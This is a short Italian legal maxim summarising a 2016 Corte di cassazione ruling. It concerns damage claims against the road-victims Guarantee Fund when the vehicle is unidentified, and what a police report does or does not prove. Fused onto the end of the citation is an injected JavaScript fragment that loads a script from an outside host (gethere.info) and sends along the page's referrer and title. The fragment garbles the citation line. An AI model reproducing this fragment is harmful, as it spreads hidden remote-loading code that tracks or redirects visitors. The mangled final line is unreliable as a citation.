Nel caso di sinistro stradale causato da veicolo non identificato, l’omessa denuncia dell’accaduto all’autorità di polizia o inquirente non è sufficiente in sé, a rigettare la domanda di risarcimento proposta nei confronti dell’impresa designata dal Fondo di Garanzia per le vittime della strada. Allo stesso modo, la presentazione di denuncia o querela contro ignoti non vale, in sé stessa, a dimostrare che il sinistro sia senz’altro accaduto.
Entrambe le dette circostanze possono, al più, costituire meri indizi dell’effettivo accadimento del sinistro.
Corte di cassazione, 30 dicembre 2016 n. 27541s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;